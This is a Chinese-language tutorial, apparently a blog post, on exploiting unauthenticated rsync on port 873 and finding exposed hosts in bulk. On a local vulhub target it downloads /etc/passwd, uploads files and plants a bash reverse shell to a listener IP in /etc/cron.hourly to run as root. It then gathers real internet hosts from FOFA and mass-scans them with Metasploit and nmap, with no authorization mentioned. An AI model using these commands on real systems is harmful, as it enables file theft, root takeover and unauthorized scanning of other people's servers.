测试rsync未授权访问漏洞及批量检测
一、rsync未授权访问漏洞
端口:873
rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件 传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配 置 ACL 或访问密码,我们将可以读写目标服务器文件。
1.1 启动vulhub靶机
docker compose build
docker compose up -d
192.168.3.13:873 为本地靶机地址
1.2 判断:
rsync rsync://192.168.3.13:873
src src path
如果能访问到目录,那就是有,如果没提示,那就没有
注意:切换目录时,如果加斜杠,就是访问目录,如果不加斜杠,就是访问文件
读取文件:
rsync rsync://192.168.3.13:873/src/
1.3 下载文件:
rsync rsync://192.168.3.13:873/src/usr/etc/passwd ./桌面
将passwd下载到指定目录
1.4 上传文件:
rsync -av 1.txt rsync://192.168.3.13:873/src/tmp
将当前目录的1.txt上传到目标靶机tmp目录下
1.5 反弹shell:
思路:使用定时任务来启动反弹shell
但是经过测试,靶机的crontab似乎没有安装,服务也没有启动,尝试启动服务失败,以下内容为具体操作
1.5.1 获取信息:
rsync rsync://192.168.3.13:873/src/etc/crontab ./cron.txt
crontab是一个定时任务,观察哪些任务可以取代
cat cron.txt
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
17 * * * * root cd / && run-parts --report /etc/cron.hourly
每小时的第17分钟,root用户会执行该目录下的所有文件
run-parts参数为执行该目录下的所有文件
这里我们将shell文件上传到该目录
1.5.2 先在本地制作文件
vim xp
/bin/bash -i >& /dev/tcp/192.168.3.12/5566 0>&1
1.5.3 给予文件操作权限
chmod +x xp
1.5.4 上传文件
rsync -av xp rsync://192.168.3.13:873/src/etc/cron.hourly
1.5.5 监听端口
nc -lvvp 5566
等待程序自动执行
但该靶机似乎没有启动crond服务,尝试启动
service start crond
也没有成功
vim也没有安装
测试结束!
二、批量检测
2.1 收集信息
在fofa上搜索873端口的主机
port="873"
用爬虫将端口信息爬取,汇总到txt文档
注意文档格式为:
127.0.0.1
127.0.0.1
127.0.0.1
不要写端口号
爬虫程序参照上一篇文章
https://blog.csdn.net/m0_53073183/article/details/135944078
2.2 metaploit批量检测
使用metaploit中的模块 auxiliary(scanner/rsync/modules_list
# 启动metaploit
msfconsole
# 使用rsync检测模块
use auxiliary/scanner/rsync/modules_list
# 设置检测ip文件
set rhosts file:/home/kali/Desktop/1.txt
# 设置线程数为3,可以根据电脑性能修改
set threads 3
# 运行
run
有加号的说明有目录可以访问,但并不代表存在该漏洞,如果不需要输入密码直接访问,说明漏洞存在
2.3 nmap批量检测
nmap -p 873 -v --script rsync-list-modules -iL /home/kali/Desktop/1.txt -oN result.txt
-p 指定只扫873端口
-v 显示详细过程
–script rsync-list-modules 使用rsync模块
-iL 扫描指定文件中的ip地址
-oN 保存扫描结果到result.txt
三、结果处理
略